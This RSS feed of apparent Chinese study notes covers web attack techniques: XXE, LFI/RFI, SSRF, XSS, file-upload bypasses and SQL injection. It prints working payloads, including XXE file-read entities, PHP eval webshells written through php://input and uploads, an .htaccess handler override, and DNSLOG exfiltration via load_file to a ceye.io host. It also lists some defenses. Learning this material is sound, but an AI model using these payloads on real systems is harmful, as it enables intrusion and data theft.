<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>WEB安全 on 首页 | Widegram</title>
    <link>https://widegram.com/tags/web%E5%AE%89%E5%85%A8/</link>
    <description>Recent content in WEB安全 on 首页 | Widegram</description>
    <generator>Hugo -- gohugo.io</generator>
    <language>en</language>
    <lastBuildDate>Thu, 14 Oct 2021 14:31:26 +0000</lastBuildDate><atom:link href="https://widegram.com/tags/web%E5%AE%89%E5%85%A8/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>XXE</title>
      <link>https://widegram.com/2021/10/XXE/</link>
      <pubDate>Thu, 14 Oct 2021 14:31:26 +0000</pubDate>
      
      <guid>https://widegram.com/2021/10/XXE/</guid>
      <description>XXE简介 XML文档结构包括XML声明、DTD文档类型定义（可选）、文档元素，其焦点是数据的内容，其把数据从HTML分离，是独立于软件和硬件的信息传输工具。XXE漏洞全称XML External Entity Injection，即xml外部实体注入漏洞，XXE漏洞发生在应用程序解析XML输入时，没有禁止外部实体的加载，导致可加载恶意外部文件，造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。 XML 与 HTML 的主要差异： XML 被设计为传输和存储数据，其焦点是数据的内容。 HTML 被设计用来显示数据，其焦点是数据的外观。 HTML 旨在显示信息 ，而 XML 旨在传输信息。
漏洞利用 1.提交的数据包含XML格式如：
&amp;lt;forgot&amp;gt;&amp;lt;username&amp;gt;admin&amp;lt;/username&amp;gt;&amp;lt;/forgot&amp;gt; 2.请求头中如： Content-Type：text/xml或Content-type:application/xml 文件读取：
&amp;lt;?xml version=&amp;#34;1.0&amp;#34;?&amp;gt; &amp;lt;!DOCTYPE Mikasa [ &amp;lt;!ENTITY test SYSTEM &amp;#34;file:///d:/www.txt&amp;#34;&amp;gt; ]&amp;gt; &amp;lt;user&amp;gt;&amp;lt;username&amp;gt;&amp;amp;test;&amp;lt;/username&amp;gt;&amp;lt;password&amp;gt;Mikasa&amp;lt;/password&amp;gt;&amp;lt;/user&amp;gt; 内网探针：
&amp;lt;?xml version=&amp;#34;1.0&amp;#34; encoding=&amp;#34;UTF-8&amp;#34;?&amp;gt; &amp;lt;!DOCTYPE foo [ &amp;lt;!ELEMENT foo ANY &amp;gt; &amp;lt;!ENTITY rabbit SYSTEM &amp;#34;http://192.168.0.103:8081/index.txt&amp;#34; &amp;gt; ]&amp;gt; &amp;lt;user&amp;gt;&amp;lt;username&amp;gt;&amp;amp;rabbit;&amp;lt;/username&amp;gt;&amp;lt;password&amp;gt;Mikasa&amp;lt;/password&amp;gt;&amp;lt;/user&amp;gt; 外部实体引用：(解决不回显，解决免杀拦截问题，外部引用Payload)
&amp;lt;?xml version=&amp;#34;1.0&amp;#34; ?&amp;gt; &amp;lt;!DOCTYPE test [ &amp;lt;!ENTITY % file SYSTEM &amp;#34;http://127.0.0.1:8081/evil2.dtd&amp;#34;&amp;gt; %file; ]&amp;gt; &amp;lt;user&amp;gt;&amp;lt;username&amp;gt;&amp;amp;send;&amp;lt;/username&amp;gt;&amp;lt;password&amp;gt;Mikasa&amp;lt;/password&amp;gt;&amp;lt;/user&amp;gt; evil2.dtd &amp;lt;!ENTITY send SYSTEM &amp;#34;file:///d:/www.</description>
      <content:encoded><![CDATA[<h2 id="xxe简介">XXE简介</h2>
<p>XML文档结构包括XML声明、DTD文档类型定义（可选）、文档元素，其焦点是数据的内容，其把数据从HTML分离，是独立于软件和硬件的信息传输工具。XXE漏洞全称XML External Entity Injection，即xml外部实体注入漏洞，<strong>XXE漏洞发生在应用程序解析XML输入时，没有禁止外部实体的加载，导致可加载恶意外部文件</strong>，造成<strong>文件读取</strong>、命令执行、内网端口扫描、攻击内网网站等危害。
XML 与 HTML 的主要差异：
XML 被设计为传输和存储数据，其焦点是数据的内容。
HTML 被设计用来显示数据，其焦点是数据的外观。
HTML 旨在显示信息 ，而 XML 旨在传输信息。</p>
<h2 id="漏洞利用">漏洞利用</h2>
<p>1.提交的数据包含XML格式如：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-xml" data-lang="xml"><span style="display:flex;"><span><span style="color:#f92672">&lt;forgot&gt;&lt;username&gt;</span>admin<span style="color:#f92672">&lt;/username&gt;&lt;/forgot&gt;</span>
</span></span></code></pre></div><p>2.请求头中如：
Content-Type：text/xml或Content-type:application/xml
文件读取：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-xml" data-lang="xml"><span style="display:flex;"><span><span style="color:#75715e">&lt;?xml version=&#34;1.0&#34;?&gt;</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">&lt;!DOCTYPE Mikasa [
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">&lt;!ENTITY test SYSTEM  &#34;file:///d:/www.txt&#34;&gt;</span>
</span></span><span style="display:flex;"><span>]&gt;
</span></span><span style="display:flex;"><span><span style="color:#f92672">&lt;user&gt;&lt;username&gt;</span>&amp;test;<span style="color:#f92672">&lt;/username&gt;&lt;password&gt;</span>Mikasa<span style="color:#f92672">&lt;/password&gt;&lt;/user&gt;</span>
</span></span></code></pre></div><p>内网探针：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-xml" data-lang="xml"><span style="display:flex;"><span><span style="color:#75715e">&lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&gt;</span>        
</span></span><span style="display:flex;"><span><span style="color:#75715e">&lt;!DOCTYPE foo [ 
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">&lt;!ELEMENT foo ANY &gt;</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">&lt;!ENTITY rabbit SYSTEM &#34;http://192.168.0.103:8081/index.txt&#34; &gt;</span>
</span></span><span style="display:flex;"><span>]&gt;
</span></span><span style="display:flex;"><span><span style="color:#f92672">&lt;user&gt;&lt;username&gt;</span>&amp;rabbit;<span style="color:#f92672">&lt;/username&gt;&lt;password&gt;</span>Mikasa<span style="color:#f92672">&lt;/password&gt;&lt;/user&gt;</span>
</span></span></code></pre></div><p>外部实体引用：(解决不回显，解决免杀拦截问题，外部引用Payload)</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-xml" data-lang="xml"><span style="display:flex;"><span><span style="color:#75715e">&lt;?xml version=&#34;1.0&#34; ?&gt;</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">&lt;!DOCTYPE test [
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">    &lt;!ENTITY % file SYSTEM &#34;http://127.0.0.1:8081/evil2.dtd&#34;&gt;</span>
</span></span><span style="display:flex;"><span>    %file;
</span></span><span style="display:flex;"><span>]&gt;
</span></span><span style="display:flex;"><span><span style="color:#f92672">&lt;user&gt;&lt;username&gt;</span>&amp;send;<span style="color:#f92672">&lt;/username&gt;&lt;password&gt;</span>Mikasa<span style="color:#f92672">&lt;/password&gt;&lt;/user&gt;</span>
</span></span><span style="display:flex;"><span>evil2.dtd
</span></span><span style="display:flex;"><span><span style="color:#75715e">&lt;!ENTITY send SYSTEM &#34;file:///d:/www.txt&#34;&gt;</span>
</span></span></code></pre></div><h2 id="xxe防御">XXE防御</h2>
<p>#XXE修复防御方案
方案1-禁用外部实体
PHP:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#a6e22e">libxml_disable_entity_loader</span>(<span style="color:#66d9ef">true</span>);
</span></span></code></pre></div><p>JAVA:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-java" data-lang="java"><span style="display:flex;"><span>DocumentBuilderFactory dbf <span style="color:#f92672">=</span>DocumentBuilderFactory.<span style="color:#a6e22e">newInstance</span>();dbf.<span style="color:#a6e22e">setExpandEntityReferences</span>(<span style="color:#66d9ef">false</span>);
</span></span></code></pre></div><p>Python：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#f92672">from</span> lxml <span style="color:#f92672">import</span> etreexmlData <span style="color:#f92672">=</span> etree<span style="color:#f92672">.</span>parse(xmlSource,etree<span style="color:#f92672">.</span>XMLParser(resolve_entities<span style="color:#f92672">=</span><span style="color:#66d9ef">False</span>))
</span></span></code></pre></div><p>方案2-过滤用户提交的XML数据
过滤关键词：&lt;!DOCTYPE和&lt;!ENTITY，或者SYSTEM和PUBLIC</p>
]]></content:encoded>
    </item>
    
    <item>
      <title>LFI &amp; RFI</title>
      <link>https://widegram.com/2021/10/LFI-and-RFI/</link>
      <pubDate>Mon, 11 Oct 2021 17:34:26 +0000</pubDate>
      
      <guid>https://widegram.com/2021/10/LFI-and-RFI/</guid>
      <description>一个例子 $file = $_GET[&amp;#39;filename&amp;#39;]; include($file); //http://XXX?filename=1.jpg Local File Include 后缀限制 $file = $_GET[&amp;#39;filename&amp;#39;.&amp;#39;.php&amp;#39;]; include($file); 针对PHP低版本（5.2可行）： %00截断 &amp;amp; 长度突破 针对高版本：协议利用 前提：data协议开启，allow_url_include=1； XXX.php?filename=data://text/plain,&amp;lt;?php%20phpinfo();?&amp;gt; Remote File Include 后缀限制 RFI的后缀限制突破方法：加入GET参数（也就是&amp;quot;？&amp;ldquo;符号）。如XXX.php?filename=http://XXX.txt?即可
协议利用 php://filter/convert.base64-encode/resource=1.txt file:///D:/phpstudy/PHPTutorial/WWW/1.txt RCE执行： php://input Post:&lt;?php system(&#39;ver&#39;)?&gt;
&lt;?PHP fputs(fopen(&#39;s.php&#39;,&#39;w&#39;),&#39;&lt;?php @eval($_POST[cmd])?&gt;&#39;);?&gt; data://text/plain,&lt;?php%20phpinfo();?&gt;
思路 流程：想办法包含文件-文件来源（能不能上传） 不能上传：包含系统自身文件渗透，包含日志文件渗透 能上传：冲冲冲 RFI结合MSF-exploit/multi/script/web_delivery</description>
      <content:encoded><![CDATA[<h2 id="一个例子">一个例子</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span>$file <span style="color:#f92672">=</span> $_GET[<span style="color:#e6db74">&#39;filename&#39;</span>];
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">include</span>($file);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//http://XXX?filename=1.jpg
</span></span></span></code></pre></div><h2 id="local-file-include">Local File Include</h2>
<h3 id="后缀限制">后缀限制</h3>
<pre tabindex="0"><code>$file = $_GET[&#39;filename&#39;.&#39;.php&#39;];
include($file);
</code></pre><ol>
<li>针对PHP低版本（5.2可行）： %00截断 &amp; 长度突破</li>
<li>针对高版本：协议利用
前提：data协议开启，allow_url_include=1；
<code>XXX.php?filename=data://text/plain,&lt;?php%20phpinfo();?&gt;</code></li>
</ol>
<h2 id="remote-file-include">Remote File Include</h2>
<h3 id="后缀限制-1">后缀限制</h3>
<p>RFI的后缀限制突破方法：加入GET参数（也就是&quot;？&ldquo;符号）。如<code>XXX.php?filename=http://XXX.txt?</code>即可</p>
<h3 id="协议利用">协议利用</h3>
<p>php://filter/convert.base64-encode/resource=1.txt
file:///D:/phpstudy/PHPTutorial/WWW/1.txt
RCE执行：
php://input Post:<?php system('ver')?></p>
<?PHP fputs(fopen('s.php','w'),'<?php @eval($_POST[cmd])?>');?>
<p>data://text/plain,<?php%20phpinfo();?></p>
<h3 id="思路">思路</h3>
<p>流程：想办法包含文件-文件来源（能不能上传）
不能上传：包含系统自身文件渗透，包含日志文件渗透
能上传：冲冲冲
RFI结合MSF-exploit/multi/script/web_delivery</p>
]]></content:encoded>
    </item>
    
    <item>
      <title>CSRF &amp; SSRF</title>
      <link>https://widegram.com/2021/10/CSRF-and-SSRF/</link>
      <pubDate>Sun, 10 Oct 2021 19:51:26 +0000</pubDate>
      
      <guid>https://widegram.com/2021/10/CSRF-and-SSRF/</guid>
      <description>CSRF 常见套路：安装同一套CMS，通过Burp抓到添加管理员的数据包。在管理员已登录的情况下点击一个网址，通过HTML的form配合JS提交请求。
防御 同源策略 检测来源是否同一域名（referer，仍然不安全） 加入token（或者加入验证码） 每一次请求都需要一个不同的token，如果csrf使用的是与之前同一个token，那么链接失效。 突破防御 token爆破 设计逻辑错误导致token可以重复利用 SSRF 主要产生在远程请求、代下载等场景。可以端口扫描、指纹识别、内网探针、漏洞利用等。
端口扫描 通过请求http://127.0.0.1:8081查看端口是否开放，若开放则回显中会产生数据。 与nmap相比，首先nmap可能扫不出来，其次在内网攻击中，某台计算机可能不联外网，只能通过内网扫描。如ftp://192.168.46.133:21 就能返回内网ftp目录；file:///D:/www.txt利用file协议请求文件内容；dict://探测mysql等等。 如果不知道IP地址，也可以进行爆破。 其他几个案例 </description>
      <content:encoded><![CDATA[<h2 id="csrf">CSRF</h2>
<p>常见套路：安装同一套CMS，通过Burp抓到添加管理员的数据包。在管理员已登录的情况下点击一个网址，通过HTML的form配合JS提交请求。</p>
<h3 id="防御">防御</h3>
<ol>
<li>同源策略
检测来源是否同一域名（referer，仍然不安全）</li>
<li>加入token（或者加入验证码）
每一次请求都需要一个不同的token，如果csrf使用的是与之前同一个token，那么链接失效。</li>
</ol>
<h3 id="突破防御">突破防御</h3>
<ol>
<li>token爆破</li>
<li>设计逻辑错误导致token可以重复利用</li>
</ol>
<h2 id="ssrf">SSRF</h2>
<p>主要产生在远程请求、代下载等场景。可以端口扫描、指纹识别、内网探针、漏洞利用等。</p>
<h3 id="端口扫描">端口扫描</h3>
<ol>
<li>通过请求<code>http://127.0.0.1:8081</code>查看端口是否开放，若开放则回显中会产生数据。</li>
<li>与nmap相比，首先nmap可能扫不出来，其次在内网攻击中，某台计算机可能不联外网，只能通过内网扫描。如<code>ftp://192.168.46.133:21</code> 就能返回内网ftp目录；<code>file:///D:/www.txt</code>利用file协议请求文件内容；<code>dict://</code>探测mysql等等。</li>
<li>如果不知道IP地址，也可以进行爆破。</li>
</ol>
<h3 id="其他几个案例">其他几个案例</h3>
]]></content:encoded>
    </item>
    
    <item>
      <title>XSS</title>
      <link>https://widegram.com/2021/10/XSS/</link>
      <pubDate>Sun, 10 Oct 2021 16:51:26 +0000</pubDate>
      
      <guid>https://widegram.com/2021/10/XSS/</guid>
      <description>反射XSS 提交数据后，数据被管理员查看，可以盗取其COOKIES。（xsshs.cn） 通过BEEF控制浏览器。
DOM型XSS 通过闭合JS实现XSS。
XSS分类 fooying.com/the-art-of-xss-1-introduction
mXSS 被过滤的XSS Payload，因为（低版本QQ）预览分享功能被重新激活。
代码绕过 长度绕过 如length设置，用闭合方法，修改其length值；
尖括号被过滤怎么办？ 改成onclick激活，避免尖括号即可。
script、onclick等关键字被过滤怎么办？ 大小写修改或者，xz.aliyun.com/t/2936查看不同DOM元素的利用方法
工具 XSStrike XSS Fuzz字典
设置绕过 HTTPOnly 登录成功页面插入XSS实现长期控制</description>
      <content:encoded><![CDATA[<h2 id="反射xss">反射XSS</h2>
<p>提交数据后，数据被管理员查看，可以盗取其COOKIES。（xsshs.cn）
通过BEEF控制浏览器。</p>
<h2 id="dom型xss">DOM型XSS</h2>
<p>通过闭合JS实现XSS。</p>
<h2 id="xss分类">XSS分类</h2>
<p><code>fooying.com/the-art-of-xss-1-introduction</code></p>
<h3 id="mxss">mXSS</h3>
<p>被过滤的XSS Payload，因为（低版本QQ）预览分享功能被重新激活。</p>
<h2 id="代码绕过">代码绕过</h2>
<h3 id="长度绕过">长度绕过</h3>
<p>如length设置，用闭合方法，修改其length值；</p>
<h3 id="尖括号被过滤怎么办">尖括号被过滤怎么办？</h3>
<p>改成onclick激活，避免尖括号即可。</p>
<h3 id="scriptonclick等关键字被过滤怎么办">script、onclick等关键字被过滤怎么办？</h3>
<p>大小写修改或者，<code>xz.aliyun.com/t/2936</code>查看不同DOM元素的利用方法</p>
<h3 id="工具">工具</h3>
<p>XSStrike
XSS Fuzz字典</p>
<h2 id="设置绕过">设置绕过</h2>
<p>HTTPOnly
登录成功页面插入XSS实现长期控制</p>
]]></content:encoded>
    </item>
    
    <item>
      <title>文件上传漏洞</title>
      <link>https://widegram.com/2021/10/%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E/</link>
      <pubDate>Fri, 08 Oct 2021 17:08:26 +0000</pubDate>
      
      <guid>https://widegram.com/2021/10/%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E/</guid>
      <description>本地验证 JS禁用、Burp改包、本地提交 后缀黑名单验证 大小写、加空格、符号点（系统特性）、::$DATA（Windows平台） 过滤不迭代问题 例如，&amp;quot;.php. .&amp;ldquo;方法：这针对的是在过滤中，代码中去掉末尾的点，再首位去空，再进行后缀过滤点情形。
后缀白名单验证 MIME（使用FILETYPE而不是后缀验证） 后缀白名单验证 MIME、%00、0x00截断 其中，MIME主要修改Content-Type项； %00和0x00主要影响某些版本的PHP（CVE-2015-2348，PHP 5.4.38~5.6.6）。在文件名中插入，比方说x.php%00.jpg，并且URL-Decode后（URL中不用转换），作为文件名，即可截断后缀。 ⚠️这里注意区分，GET请求对%00进行编码，POST不对%00编码。%00自动编码后将变成%25%30%30，而这不是我们需要的。 图片后门 单纯文件头验证不安全，需要配合后缀检测。
过滤&amp;lt;?怎么办？ 使用多种php标记方法，如
&amp;lt;script language=&amp;#34;php&amp;#34;&amp;gt; eval($_POST[&amp;#39;xd&amp;#39;]); &amp;lt;/script&amp;gt; 二次渲染 上传的图片被修改后显示出来（尺寸或格式）。例如：
copy shell.jpg/b + shell.php/a s.jpg 将图片与后门合并后上传，若存在二次渲染，则后门可能失效。此时，应该对比上传前后的文件，观察二次渲染后文件的哪个部分不变，再将后门写入那个部分。
常见问题 单次过滤 php函数replace过滤&amp;quot;php&amp;rdquo;，但把文件名改成&amp;quot;.pphphp&amp;quot;就可以绕过
条件竞争 php函数move_uploaded_file，先移动后过滤unlink。可以在删除前访问。 具体来说，可以在不断上传的过程中不断访问之，这个文件进行一个写入操作。（借助burp）
解析安全 格式变异 过滤时只过滤了php后缀，没有过滤php3、php4、php5、phtml等php程序
中间件解析(apache) 上传一个.htaccess，它可以更改目录下特定后缀的解析规则
&amp;lt;FilesMatch &amp;#34;shell.jpg&amp;#34;&amp;gt; SetHandler application/x-httpd-php &amp;lt;/FilesMatch&amp;gt; CVE-2013-4547 Nginx文件名逻辑漏洞 NGINX解析问题：后缀&amp;quot;1.jpg/.php&amp;quot; 针对性思路总结 CMS类 无资料时用常规测试思路，有资料参考资料即可。
编辑器 Ueditor 中间件 weblogic CVE-2018-2894
CTF类 ThinkPHP 文件路径（涉及代码审计）</description>
      <content:encoded><![CDATA[<h2 id="本地验证">本地验证</h2>
<h3 id="js禁用burp改包本地提交">JS禁用、Burp改包、本地提交</h3>
<h2 id="后缀黑名单验证">后缀黑名单验证</h2>
<h3 id="大小写加空格符号点系统特性datawindows平台">大小写、加空格、符号点（系统特性）、::$DATA（Windows平台）</h3>
<h3 id="过滤不迭代问题">过滤不迭代问题</h3>
<p>例如，&quot;.php. .&ldquo;方法：这针对的是在过滤中，代码中去掉末尾的点，再首位去空，再进行后缀过滤点情形。</p>
<h2 id="后缀白名单验证">后缀白名单验证</h2>
<h3 id="mime使用filetype而不是后缀验证">MIME（使用FILETYPE而不是后缀验证）</h3>
<h2 id="后缀白名单验证-1">后缀白名单验证</h2>
<h3 id="mime000x00截断">MIME、%00、0x00截断</h3>
<ol>
<li>其中，MIME主要修改Content-Type项；</li>
<li>%00和0x00主要影响某些版本的PHP（<code>CVE-2015-2348</code>，PHP 5.4.38~5.6.6）。在文件名中插入，比方说<code>x.php%00.jpg</code>，并且URL-Decode后（URL中不用转换），作为文件名，即可截断后缀。
⚠️这里注意区分，GET请求对%00进行编码，POST不对%00编码。<code>%00</code>自动编码后将变成<code>%25%30%30</code>，而这不是我们需要的。</li>
<li></li>
</ol>
<h2 id="图片后门">图片后门</h2>
<p>单纯文件头验证不安全，需要配合后缀检测。</p>
<h3 id="过滤怎么办">过滤&lt;?怎么办？</h3>
<p>使用多种php标记方法，如</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span>&lt;<span style="color:#f92672">script</span> <span style="color:#a6e22e">language</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;php&#34;</span>&gt;
</span></span><span style="display:flex;"><span>eval(<span style="color:#a6e22e">$_POST</span>[<span style="color:#e6db74">&#39;xd&#39;</span>]);
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">script</span>&gt;
</span></span></code></pre></div><h2 id="二次渲染">二次渲染</h2>
<p>上传的图片被修改后显示出来（尺寸或格式）。例如：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>copy shell.jpg/b + shell.php/a s.jpg
</span></span></code></pre></div><p>将图片与后门合并后上传，若存在二次渲染，则后门可能失效。此时，应该<strong>对比上传前后的文件，观察二次渲染后文件的哪个部分不变，再将后门写入那个部分</strong>。</p>
<h2 id="常见问题">常见问题</h2>
<h3 id="单次过滤">单次过滤</h3>
<p>php函数replace过滤&quot;php&rdquo;，但把文件名改成&quot;.pphphp&quot;就可以绕过</p>
<h3 id="条件竞争">条件竞争</h3>
<p>php函数move_uploaded_file，先移动后过滤unlink。可以<strong>在删除前访问</strong>。
具体来说，可以在不断上传的过程中不断访问之，这个文件进行一个写入操作。（借助burp）</p>
<h3 id="解析安全">解析安全</h3>
<h4 id="格式变异">格式变异</h4>
<p>过滤时只过滤了php后缀，没有过滤php3、php4、php5、phtml等php程序</p>
<h4 id="中间件解析apache">中间件解析(apache)</h4>
<p>上传一个.htaccess，它可以更改目录下特定后缀的解析规则</p>
<pre tabindex="0"><code>&lt;FilesMatch &#34;shell.jpg&#34;&gt;
  SetHandler application/x-httpd-php
&lt;/FilesMatch&gt;
</code></pre><h4 id="cve-2013-4547-nginx文件名逻辑漏洞">CVE-2013-4547 Nginx文件名逻辑漏洞</h4>
<h4 id="nginx解析问题后缀1jpgphp">NGINX解析问题：后缀&quot;1.jpg/.php&quot;</h4>
<h2 id="针对性思路总结">针对性思路总结</h2>
<h3 id="cms类">CMS类</h3>
<p>无资料时用常规测试思路，有资料参考资料即可。</p>
<h3 id="编辑器-ueditor">编辑器 Ueditor</h3>
<h3 id="中间件-weblogic">中间件 weblogic</h3>
<p>CVE-2018-2894</p>
<h3 id="ctf类">CTF类</h3>
<p>ThinkPHP 文件路径（涉及代码审计）</p>
]]></content:encoded>
    </item>
    
    <item>
      <title>SQL注入基础入门——07、总结</title>
      <link>https://widegram.com/2021/10/sql%E6%B3%A8%E5%85%A5%E5%9F%BA%E7%A1%80%E5%85%A5%E9%97%A8-07-%E6%80%BB%E7%BB%93/</link>
      <pubDate>Thu, 07 Oct 2021 21:47:26 +0000</pubDate>
      
      <guid>https://widegram.com/2021/10/sql%E6%B3%A8%E5%85%A5%E5%9F%BA%E7%A1%80%E5%85%A5%E9%97%A8-07-%E6%80%BB%E7%BB%93/</guid>
      <description>漏洞利用 参数类型 - 符号闭合 数据库类型 - 选择不同的攻击语句和攻击思路 数据提交方式 - 数据注入的时候传输不一样，如POST、HOST等 数据SQL查询方式 - 1.无回显 2.测试点不同（增删改查等） 3.人工发现 数据加密编码方式 存在回显 - 盲注 高权限 - 换一种思路获得权限 漏洞危害 单个数据库泄漏 所有数据库泄漏 后台权限 web权限：文件操作、执行命令等 后续导致服务器权限丢失 漏洞特点 开发语言决定注入发生率 数据库类型决定注入利用过程 部分注入点的发现需要人工探针（增删改查等） 防护注入代码过滤、WAF等 </description>
      <content:encoded><![CDATA[<h4 id="漏洞利用">漏洞利用</h4>
<ol>
<li>参数类型 - 符号闭合</li>
<li>数据库类型 - 选择不同的攻击语句和攻击思路</li>
<li>数据提交方式 - 数据注入的时候传输不一样，如POST、HOST等</li>
<li>数据SQL查询方式 - 1.无回显 2.测试点不同（增删改查等） 3.人工发现</li>
<li>数据加密编码方式</li>
<li>存在回显 - 盲注</li>
<li>高权限 - 换一种思路获得权限</li>
</ol>
<h4 id="漏洞危害">漏洞危害</h4>
<ol>
<li>单个数据库泄漏</li>
<li>所有数据库泄漏</li>
<li>后台权限</li>
<li>web权限：文件操作、执行命令等</li>
<li>后续导致服务器权限丢失</li>
</ol>
<h4 id="漏洞特点">漏洞特点</h4>
<ol>
<li>开发语言决定注入发生率</li>
<li>数据库类型决定注入利用过程</li>
<li>部分注入点的发现需要人工探针（增删改查等）</li>
<li>防护注入代码过滤、WAF等</li>
</ol>
]]></content:encoded>
    </item>
    
    <item>
      <title>SQL注入基础入门——06、绕过注入过滤的几种方法（堆叠、二次、DNSLOG、高权限）</title>
      <link>https://widegram.com/2021/10/sql%E6%B3%A8%E5%85%A5%E5%9F%BA%E7%A1%80%E5%85%A5%E9%97%A8-06-%E5%A0%86%E5%8F%A0%E3%80%81%E4%BA%8C%E6%AC%A1%E3%80%81DNSLOG%E3%80%81%E9%AB%98%E6%9D%83%E9%99%90/</link>
      <pubDate>Thu, 07 Oct 2021 13:00:00 +0000</pubDate>
      
      <guid>https://widegram.com/2021/10/sql%E6%B3%A8%E5%85%A5%E5%9F%BA%E7%A1%80%E5%85%A5%E9%97%A8-06-%E5%A0%86%E5%8F%A0%E3%80%81%E4%BA%8C%E6%AC%A1%E3%80%81DNSLOG%E3%80%81%E9%AB%98%E6%9D%83%E9%99%90/</guid>
      <description>几种过滤 过滤关键词，如select、update、insert等 过滤空格 堆叠注入 数据库类型支持多条语句；
;show databases; ;show tables; ;show columns from ``; ## 由于select被过滤，因此可以将列名改为flag再输出 ## 或者，采用如下方法： &amp;#39;;SeT @a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql; 二次注入 先写入后组合的注入（如：注册——登录——修改）； 受到攻击的sql语句：
update user set passwd=&amp;#39;新密码&amp;#39; where username=&amp;#39;用户名&amp;#39; and passwd=&amp;#39;旧密码&amp;#39; 密码一般会被加密，不好入手，因此选择用户名攻击：
## 空格被过滤 x&amp;#34;^updatexml(1,concat(0x7e,(version())),0)# DNSLOG注入 解决不回显，相比盲注更快，但适用范围不广，因为要用到load_file()函数，需要root权限，并且secure_file_priv需要为空，且需要操作系统为Windows（\\为unc路径）。
ping test.dbuh8a.ceye.io ping %USERNAME%.dbuh8a.ceye.io select load_file(&amp;#39;\\\\xxxx.dbuh8a.ceye.io\\aa&amp;#39;)); select load_file(concat(&amp;#39;\\\\&amp;#39;,(select database()),&amp;#39;.dbuh8a.ceye.io\\aa&amp;#39;)); 高权限注入 数据库用户分为系统用户和普通用户。前者可看所有数据库，可进行文件读写；后者不行。 ⚠️所以，某些注入点可以读写文件。
# 判断是否高权限 python sqlmap.py -u &amp;#34;http://XXX?id=1&amp;#34; --is-dba 写入一句话后门
&amp;lt;?php eval($_POST[&amp;#39;x&amp;#39;]); ?&amp;gt; </description>
      <content:encoded><![CDATA[<h3 id="几种过滤">几种过滤</h3>
<ol>
<li>过滤关键词，如select、update、insert等</li>
<li>过滤空格</li>
<li></li>
</ol>
<h3 id="堆叠注入">堆叠注入</h3>
<p>数据库类型支持多条语句；</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span>;<span style="color:#66d9ef">show</span> databases;
</span></span><span style="display:flex;"><span>;<span style="color:#66d9ef">show</span> tables;
</span></span><span style="display:flex;"><span>;<span style="color:#66d9ef">show</span> columns <span style="color:#66d9ef">from</span> <span style="color:#f92672">``</span>;
</span></span><span style="display:flex;"><span><span style="color:#f92672">##</span> <span style="color:#960050;background-color:#1e0010">由于</span>select被过滤<span style="color:#960050;background-color:#1e0010">，因此可以将列名改为</span>flag再输出
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#f92672">##</span> <span style="color:#960050;background-color:#1e0010">或者，采用如下方法：</span>
</span></span><span style="display:flex;"><span><span style="color:#e6db74">&#39;;SeT @a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;
</span></span></span></code></pre></div><h3 id="二次注入">二次注入</h3>
<p>先写入后组合的注入（如：注册——登录——修改）；
受到攻击的sql语句：</p>
